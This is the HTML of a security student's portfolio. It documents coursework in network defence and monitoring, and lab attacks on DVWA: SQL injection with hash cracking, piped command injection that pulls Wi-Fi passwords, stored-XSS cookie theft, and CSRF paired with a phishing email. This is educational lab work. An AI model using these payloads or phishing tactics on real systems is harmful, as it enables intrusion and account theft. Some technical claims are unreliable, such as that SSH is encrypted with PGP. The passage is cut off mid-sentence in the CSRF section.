class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/40-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security monitoring, analysis and triage</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Forensics specialisation</h5> </div> </div> </div> </section> <section id="about"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">About</h2> <h3 class="section-subheading text-muted">My cyber security career.</h3> </div> </div> <div class="row"> <div class="col-lg-12"> <ul class="timeline"> <li> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/1.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S3 2019</h4> <h4 class="subheading">The beginning</h4> </div> <div class="timeline-body"> <p class="text-muted">This was the first time I got experienced the cyber security stream and what it had to offer. I learned the basics of the defensive side of cyber security.</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/2.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S4 2020</h4> <h4 class="subheading">Round 2</h4> </div> <div class="timeline-body"> <p class="text-muted">This was my second semester on cyber security this time focusing on the offensive side.</p> </div> </div> </li> <li> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/3.png" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S5 2021</h4> <h4 class="subheading">The internship</h4> </div> <div class="timeline-body"> <p class="text-muted">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sunt ut voluptatum eius sapiente, totam reiciendis temporibus qui quibusdam, recusandae sit vero unde, sed, incidunt et ea quo dolore laudantium consectetur!</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/4.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S7 2021</h4> <h4 class="subheading">My minor</h4> </div> <div class="timeline-body"> <p class="text-muted">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sunt ut voluptatum eius sapiente, totam reiciendis temporibus qui quibusdam, recusandae sit vero unde, sed, incidunt et ea quo dolore laudantium consectetur!</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <h4>The <br>Future </h4> </div> </li> </ul> </div> </div> </div> </section> <section class="bg-light" id="team"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">About me</h2> <h3 class="section-subheading text-muted">Some additional links and information.</h3> </div> </div> <div class="row"> <div class="col-sm-4"> </div> <div class="col-sm-4"> <div class="team-member"> <img class="mx-auto rounded-circle" src="img/team/Pim.jpg" alt=""> <h4>Pim Beekmans</h4> <p class="text-muted">Student</p> <ul class="list-inline social-buttons"> <li class="list-inline-item"> <a href="#"> <i class="fab fa-twitter"></i> </a> </li> <li class="list-inline-item"> <a href="#"> <i class="fab fa-facebook-f"></i> </a> </li> <li class="list-inline-item"> <a href="https://www.linkedin.com/in/pim-beekmans/?originalSubdomain=nl"> <i class="fab fa-linkedin-in"></i> </a> </li> </ul> </div> </div> <div class="col-sm-4"> </div> <div class="row"> <div class="col-lg-8 mx-auto text-center"> <p class="large text-muted">This is me, thank you for reading, hopefully you've liked my portfolio on cyber security. For additional feedback feel free to send an email to <a href="/cdn-cgi/l/email-protection#ddadb4b09dbfb8b8b6b0bcb3aef3b9b8ab"><span class="__cf_email__" data-cfemail="1a6a73775a787f7f71777b7469347e7f6c">[email protected]</span></a>.</p> </div> </div> </div> </div> </section> <section class="py-5"> <div class="container"> <div class="row"> </div> </div> </section> <section id="contact"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Contact Me</h2> <br> </div> </div> <div class="row"> <div class="col-lg-12"> <form id="contactForm" name="sentMessage" novalidate="novalidate"> <div class="row"> <div class="col-md-6"> <div class="form-group"> <input class="form-control" id="name" type="text" placeholder="Your Name *" required="required" data-validation-required-message="Please enter your name."> <p class="help-block text-danger"></p> </div> <div class="form-group"> <input class="form-control" id="email" type="email" placeholder="Your Email *" required="required" data-validation-required-message="Please enter your email address."> <p class="help-block text-danger"></p> </div> <div class="form-group"> <input class="form-control" id="phone" type="tel" placeholder="Your Phone *" required="required" data-validation-required-message="Please enter your phone number."> <p class="help-block text-danger"></p> </div> </div> <div class="col-md-6"> <div class="form-group"> <textarea class="form-control" id="message" placeholder="Your Message *" required="required" data-validation-required-message="Please enter a message."></textarea> <p class="help-block text-danger"></p> </div> </div> <div class="clearfix"></div> <div class="col-lg-12 text-center"> <div id="success"></div> <button id="sendMessageButton" class="btn btn-primary btn-xl text-uppercase" type="submit">Send Message</button> </div> </div> </form> </div> </div> </div> </section> <footer> <div class="container"> <div class="row"> <div class="col-md-4"> <span class="copyright">Copyright © Beekmans.dev 2019</span> </div> <div class="col-md-4"> </div> <div class="col-md-4"> <ul class="list-inline quicklinks"> <li class="list-inline-item"> <a href="#">Privacy Policy</a> </li> <li class="list-inline-item"> <a href="#">Terms of Use</a> </li> </ul> </div> </div> </div> </footer> <div class="portfolio-modal modal fade" id="portfolioModal1" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Self Assessment</h2> <p class="item-intro text-muted">Week 1</p> <p> <ol> <li>What did you like / or find easy?</li> <li>What did you find difficult? At what point did it get too difficult for now?</li> <li> Then check the list of learning subjects for the basic knowledge assignment and possibilities and requirements for the project. <ul> <li>What subjects do you already know and what is unknown terrain for you?</li> </ul> </li> <li>What parts of the current semester would you like to give much attention?</li> <li>What do you want to achieve and learn in particular?</li> <li>Which study style and corresponding planning is most suitable for you?</li> <li>What would you like to do or achieve in the project? (subjects, type of project, domain to work in, learning goals, etc.) </li> </ol> <br> Answers: <br> <ol> <li>I like working with servers and playing with my network at home and virtual machines. I think I find basic networking the easiest. </li> <li>Advanced networking all knowledge that I know is self-taught so I think there is a lot I don’t know yet. I got stuck on virtual lans and ip routing at home what else I’ll find difficult is what I need to find out in the distant future. </li> <li> Subjects: <div class="container"> <div class="row"> <div class="col-sm-4"> <ul> Used: <li>VMWare</li> <li>Linux</li> <li>IPv4</li> <li>NAT</li> <li>TCP/IP</li> <li>DNS</li> <li>HTTP</li> <li>FTP</li> <li>Firewalls</li> <li>HTTPS</li> <li>VPN</li> </ul> </div> <div class="col-sm-4"> <ul> Know about but never used: <li>VMWare ESX</li> <li>Wireshark</li> <li>ARP</li> <li>IP routing</li> <li>SMTP</li> <li>IDS</li> </ul> </div> <div class="col-sm-4"> <ul> Never heard about it: <li>Seclab</li> <li>ICMP ping</li> <li>CIA and IT Risk analysis</li> </ul> </div> </div> </div> </li> <li>Advanced networking and the transition to Java.</li> <li>How to be a good Cyber security expert.</li> <li>Style 2, I’ll try to find out if this is the most suitable for me and maybe go to the style 3 courses on the days I get subjects I already know. </li> <li>I don’t really have a preference I want to learn as much as possible related to cyber security. </li> </ol> </p> <ul class="list-inline"> <li>Date: February 2019</li> <li>Client: Fontys</li> <li>Category: Self assessment</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal2" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Network diagram</p> <img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/NetworkDiagram.png" alt=""> <p>This network diagram shows 3 main VLAN's containing a employee environment for the employees to work on, a guest environment for the people visiting the company as guests and a DMZ for the servers and services to the outside world.</p> <ul class="list-inline"> <li>Date: February 2019</li> <li>Client: Fontys</li> <li>Category: Documentation</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal3" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Network diagram V2</p> <img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/NetworkDiagramV2.png" alt=""> <p>This is the second version of my network diagram. I changed a few things to match Casper's feedback. The first thing I changed are the firewalls, I only needed to address the physical firewall and not the ones for every single interface. The last thing was I added the corresponding IP ranges and subnets to each VLAN.</p> <ul class="list-inline"> <li>Date: March 2019</li> <li>Client: Fontys</li> <li>Category: Documentation</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal4" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Secure connections</p> <a href="../../img/portfolio/blue/sshAccess.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/sshAccess.png" alt=""></a> <p>Here you can see that I made a SSH connection to my Ubuntu webserver. I use Putty as my SSH terminal. SSH is encrypted using PGP (Pretty good privacy) which uses a public and a private key to communicate with each other. This is especially helpful because you don't need to transfer passwords to encrypt the connection. The sending client encrypts its message using the public key from the recipient and the recipient decrypts the message using its own private key. This works the same the other way around. I can use this technique to remotely manage my webservers without the need physical access.</p> <a href="../../img/portfolio/blue/vpnAccess.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/vpnAccess.png" alt=""></a> <p>Here you can see that I'm connected to a VPN. This VPN is OpenVPN and runs on the PfSense router. It gives me access to the subnets I gave it access to and with this I can remotely manage my whole network, with being actually physically connected to the network. The OpenVPN connection is encrypted be TLS (Transfer layer security) which is successor from SSL. TLS uses a handshake at the start of the connection where a key is shared between the 2 clients. This key will be used for the symmetric encryption of the messages. The authenticity of the connection is secured by a certificate and the public key of the webserver this prevents possible man in the middle attacks, where someone will pretend to be another website for example.</p> <a href="../../img/portfolio/blue/sslConnection.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/sslConnection.png" alt=""></a> <p>Here you can see the ssl certificate I created for the website that is running my portfolio. I created the script using certbot in Ubuntu and the CA is Let's encrypt authority x3. The website automatically forces all traffic to https, the website is still accessible by http but will redirect the user to https.</p> <ul class="list-inline"> <li>Date: March 2019</li> <li>Client: Fontys</li> <li>Category: Secure connections</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal5" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">IDS/IPS</p> <P>I implemented Suricata as my IPS, I thought it would be the best option because they say it's more advanced and newer. Below you can see some prove of the implementation and some results I came across.</P> <a href="../../img/portfolio/blue/Suricata1.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata1.png" alt=""></a> <p>I configured the IPS to monitor the WAN and LAN interface for now but I'm planning to configure it to the Employee VLAN as well. This will protect the company for any potential threats from the inside.</p> <a href="../../img/portfolio/blue/Suricata2.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata2.png" alt=""></a> <p>I tested the IPS with a website called <a href="https://www.wicar.org/">Wicar</a>. On this website you can run malicious code and test you network without it being an actual threat or risk.</p> <a href="../../img/portfolio/blue/Suricata3.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata3.png" alt=""></a> <p>I have used the Snort community rules and the Emerging threats rules these are both free to use and do a decent job of protecting the network with not too many false positives.</p> <a href="../../img/portfolio/blue/DDOSAlert.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/DDOSAlert.png" alt=""></a> <p>We encountered a real world scenario which actually turned out to work really well with an IPS. Bram tried to DDOS my website while it was running in my pfsense environment. The IPS immediately noticed this and blocked his IP. While the website was running outside the pfsense zone Bram could DDOS all he want without getting blocked.</p> <a href="../../img/portfolio/blue/BlockList.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/BlockList.png" alt=""></a> <p>Here you can see Bram's IP in the Suricata blocklist.</p> <a href="../../img/portfolio/blue/Bram'sIP.jpg"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Bram'sIP.jpg" alt=""></a> <p>This is a screenshot from Bram's computer with his IP he used for generating the alert.</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: IDS/IPS</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal6" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Information Security and Risk Analysis</p> <h3>CIA</h3> <h4>Confidentiality:</h4> <p>The company will hold confidential data from costumers, things like credit card information user accounts and databases for the costumer's websites.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Costumer data .... Leak</li> </ul> <h4>Integrity:</h4> <p>The costumers trust the company to secure their servers on their end and they trust the company that it won't sell any costumer data to 3rd parties.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Correct .... Tampering</li> </ul> <h4>Availability:</h4> <p>Because the costumers might use these websites for commercial use, it is at the utmost importance that the websites are fast, reliable and 24/7 reachable.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Well timed .... Delay</li> <li>Continuity .... Downtime</li> </ul> <p>Click on this <a href="../../img/portfolio/Risk%20analysis.xlsx">link</a> to download the full risk analysis.</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: Risk Analysis</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal7" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">IT Monitoring</p> <p>I implemented a Nagios server and installed Ntop as part of my network monitoring system.</p> <a href="../../img/portfolio/blue/OnlineHosts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/OnlineHosts.png" alt=""></a> <p>Ntop generates a list with all hosts that are online on the network and you can filter them by VLAN. You can see how much bandwidth they are using how much data was transferred since they are online and how many flows are going to that host.</p> <a href="../../img/portfolio/blue/MostUsedHosts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/MostUsedHosts.png" alt=""></a> <p>Here I can see which host uses the most traffic in my DMZ. With 172.16.0.2 being the apache server and 172.16.0.3 being the IIS server.</p> <a href="../../img/portfolio/blue/MostUsedProtocols.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/MostUsedProtocols.png" alt=""></a> <p>Here I can see which protocols are used the most. Windows update on number 1 because it needs to download a lot and after that ssl for the https traffic to my website and ftp to push changes. This doesn't indicate that the most traffic is going to windows update only that it used the most bandwidth.</p> <a href="../../img/portfolio/blue/BulgarianHacker.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/BulgarianHacker.png" alt=""></a> <p>Ntop even managed to identify a rogue Bulgarian hacker trying to access my Jenkins server.</p> <a href="../../img/portfolio/blue/HostsStatus.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/HostsStatus.png" alt=""></a> <p>This is Nagios it is in some ways similar to Ntop but is much more advanced and can do some things that Ntop can't. On this page you can see al the hosts that are monitored by Nagios. It displays if the hosts are up and running or if there are any problems.</p> <a href="../../img/portfolio/blue/HostDetails.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/HostDetails.png" alt=""></a> <p>If you click on one of the monitored hosts from the previous picture Nagios will show you with a more detailed report on the host with some more information about uptime and status.</p> <a href="../../img/portfolio/blue/ServiceStatus.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/ServiceStatus.png" alt=""></a> <p>This is a great example on something Nagios is much better at then Ntop. Here Nagios monitors all the services you flagged on different hosts. For example your apache server could be down but the physical Linux server is still up and running. Nagios and Ntop will both say this Linux machine is up and fine but Nagios will also say that the http/https service is down. The same goes for every other service you configure to monitor (SSH/FTP).</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: Monitoring</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal8" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">SQL injection</p> <a href="../../img/portfolio/red/SqlStart.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/SqlStart.png" alt=""></a> <p>I applied sql injection on a search function in DVWA.</p> <a href="../../img/portfolio/red/CheckIfVuln.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CheckIfVuln.png" alt=""></a> <p>The easiest way to check if the search function is vulnerable is to just type some gibberish that the search function doesn't expect. This should generate a sql error.</p> <a href="../../img/portfolio/red/CheckIfVulnResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CheckIfVulnResult.png" alt=""></a> <p>And it did! Now we know that the search function is vulnerable and we can try some injections</p> <p>So know we can check which database we're dealing with by getting the version.</p> <a href="../../img/portfolio/red/GetDbVersion.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetDbVersion.png" alt=""></a> <p>Oke let's break it down.</p> <p>The query that is used for searching the users probably looks like something like this "SELECT first_name, last_name FROM users WHERE user_id = '$id'" and I typed "null' UNION select CURRENT_user, @@version #"</p> <p>The "null'" ends the original query and makes it obsolete because there probably aren't any users with a 'null' as id. The 'UNION' allows me to execute a subquery and the result from this query gets added underneath the results from the original query.</p> <p>Now I use 'select' to indicate which information I want to get. I used 'CURRENT_user' and '@@version' to get both the current user and the database version.</p> <p>The reason that I select both the "CURRENT_user" and the "@@version" in the same query, is that if I would only select for example "@@version" I would get the error displayed below. I could have fixed that by rewriting the query like this: "INSERT QUERY" and I typed "null' UNION select @@version, @@version #" This way the subquery matches the amount of columns of the original query again.</p> <a href="../../img/portfolio/Use%20Of%23.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/Use%20Of%23.png" alt=""></a> <p>TALK ABOUT THE #</p> <a href="../../img/portfolio/red/DiffNumberColumns.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/DiffNumberColumns.png" alt=""></a> <p>Now we can execute any query we want as long as it matches the amount of columns of the original query, otherwise we get a error like the one displayed above. Now we can try something that has a little more impact.</p> <a href="../../img/portfolio/red/GetAllTables.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetAllTables.png" alt=""></a> <p>For example by getting all the table names inside the database. This is obvious not a good sign because I good use this to determine what the names are of the user tables and check if there might be some more tables I want to focus on, for example credit card information of the users.</p> <a href="../../img/portfolio/red/GetUserAndPass.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetUserAndPass.png" alt=""></a> <p>But in this case we won't go after people's credit card information but after there password. I know the user table name from the previous query and now I can just try some common column names like; username, user, name, those type of things.</p> <p>And we got a username and a hash! But now what? The username is simple but the password is hashed and can't be just copied and used.</p> <a href="../../img/portfolio/red/HashDecrypt.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/HashDecrypt.png" alt=""></a> <p>That's were this site comes in. I just insert the md5 hash in this decryptor and it checks a big database with common hashes and their decrypted word. And now I have the password and I can just login with admin/password.</p> <p>So how would you prevent this? The best thing to do is sanitize the queries. Make sure all the queries use prepared statements and are parameterised. This prevents people inserting for example strings instead of numbers and prevents them from ignoring your query and inserting their own.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: SQL injection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal9" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Command injection</p> <p>I applied sql injection on a ping function in DVWA.</p> <a href="img/portfolio/Command%20injection.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/Command%20injection.png" alt=""></a> <p>The way this function works is it takes the ip and inserts it directly in a shell. It would probably looks like something like this "ping 'INSERTED_IP'".</p> <p>Now this little symbol "|" is called a pipe and it can be used to execute multiple commands in one line. So I used the "|" to execute my own command after the ping command just like shown above.</p> <p>I typed in the ip because it still needs to execute the ping command and after that I did a "ipconfig" so the command would look like this when executed in the shell: "ping 185.230.127.234 | ipconfig" This gave us the ip information of the machine the webpage is running on.</p> <a href="../../img/portfolio/red/CmdCurrentUser.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdCurrentUser.png" alt=""></a> <p>I can also get the current user logged in user from the machine using "net user". But with "net user" you can do much more even change the password of the current user or create a completely new user just for me.</p> <a href="../../img/portfolio/red/CmdWifiPass.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdWifiPass.png" alt=""></a> <p>What is maybe even better I can get the wifi password of the connected pc in plain text. Now I can connect to the same network because I know the password.</p> <a href="../../img/portfolio/red/CmdEnterpriceWifi.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdEnterpriceWifi.png" alt=""></a> <p>This trick doesn't work with more advanced wifi security though. Here you see the eduroam network from school which is protected with 802.1x control. This doesn't mean you can't get the password at all it just makes it a whole lot harder.</p> <a href="../../img/portfolio/red/CIDIR.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CIDIR.png" alt=""></a> <p>I was also able to run the "dir" command. This tells me a lot about the local machine and how the web server is installed.</p> <a href="../../img/portfolio/red/CISystemInfo.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CISystemInfo.png" alt=""></a> <P>With the "systeminfo" command I'm able to get a lot of information about the physical machine which might be useful to me later. It greatly increases my attack surface.</P> <p>This can be prevented by sanitizing the input and not just inserting it straight into the shell. Make sure it goes to a parameterised function first, check the input and then insert it into a shell for example.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: Command injection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal10" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Cross-site scripting</p> <p>I will now show you how you could apply XSS to a website.</p> <a href="../../img/portfolio/red/XSSAlert.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSAlert.png" alt=""></a> <p>First I have to check if the website is vulnerable. The easiest way to check this is just to try a simple "Alert" script just like this.</p> <a href="../../img/portfolio/red/XSSAlertResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSAlertResult.png" alt=""></a> <p>As you can see the script works so that means that the website is vulnerable to XSS. Now I can try something that has some more impact and could actually be useful for me.</p> <a href="../../img/portfolio/red/MaxCharLimit.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/MaxCharLimit.png" alt=""></a> <p>This form doesn't allow more than 50 characters, so writing bigger scripts might make this difficult. Luckily they only validate this in the frontend so I can just inspect this page and change the maximum characters in the form. So now I can write some bigger scripts that give me more information.</p> <a href="../../img/portfolio/red/XSSGetCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSGetCookieResult.png" alt=""></a> <p>Like getting the cookie of the user so I can hijack their session.</p> <a href="../../img/portfolio/red/XSSGetCookieResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSGetCookieResult.png" alt=""></a> <p>So now I got the cookie it is my own though, but these scripts get stored inside the comments and the comments are persistent. Therefore I could also write a script that sends the cookie to me instead of displaying it. This way I can make it almost invisible for everyone to see and everyone who loads this page their cookie gets send to me.</p> <a href="../../img/portfolio/red/XSSOldCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSOldCookie.png" alt=""></a> <p>Now I can try to use the cookie that I stole in the previous picture to try and login. As you can see my cookie is now different and I'm not logged in.</p> <a href="../../img/portfolio/red/XSSNewCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSNewCookie.png" alt=""></a> <p>Now I placed the cookie I stole in my own cookie to hopefully make the website think I'm the person who is logged in that I stole this cookie from.</p> <a href="../../img/portfolio/red/XSSSessionHijack.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSSessionHijack.png" alt=""></a> <p>And now when I try to load the index page the website thinks I'm logged in as the person the cookie belongs to and I hijacked their session. I can now do everything on their account, comment in their name and change their data or steal their data.</p> <p>And if this person is by any chance an admin I might be able to do some more extreme things as well. Like creating or deleting users or their comments.</p> <a href="../../img/portfolio/red/XSSIframe.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSIframe.png" alt=""></a> <P>Sometimes the programmers try to prevent XSS by filtering out the script tags. But they forget the filter out all the other HTML tags. So I can load my own website in an "Iframe".</P> <a href="../../img/portfolio/red/XSSIframeResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSIframeResult.png" alt=""></a> <p>This might only sound as good free marketing but you can also do other things. Like redirecting everyone that visits this page to my own website or inject scripts in other html tags, so I can still run my scripts even though they banned the script tags.</p> <p>These type of attacks can be prevented by sanitizing the input much like SQL injection. Make sure that all the text that users can post to the website's frontend doesn't get converted to straight HTML. In this way they can't exploit other HTML tags as well.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: Cross-site scripting</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal11" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Cross-site request forgery</p> <p>Now I'm going to exploit CSRF on a website. The principles are quite simple, if you see the query that is called in the search bar, then the website might be vulnerable.</p> <a href="../../img/portfolio/red/CSRFLinkResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLinkResult.png" alt=""></a> <p>As you can see in the search bar the website creates a query. If I would send this query without the form it would work as well but only for me. So I need to get this link to an user fill in my own password and make him click it.</p> <a href="../../img/portfolio/red/CSRFHTMLFile.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFHTMLFile.png" alt=""></a> <p>So I created a little phishing email using HTML. By using HTML I can make the email as legit as possible. By hiding the actual link in a text or even adding the DVWA logo. If I would know how they normally would send emails to their users, I could fully recreate it and you won't see the difference.</p> <a href="../../img/portfolio/red/CSRFUserEmail.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFUserEmail.png" alt=""></a> <p>The user would get an email like this and if you add urgency to the message, the user might not even think about any red flags because they feel the need to act as fast as possible.</p> <a href="../../img/portfolio/red/CSRFLinkResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLinkResult.png" alt=""></a> <p>Now the user got send to the same page to change your password, but I already changed it when it 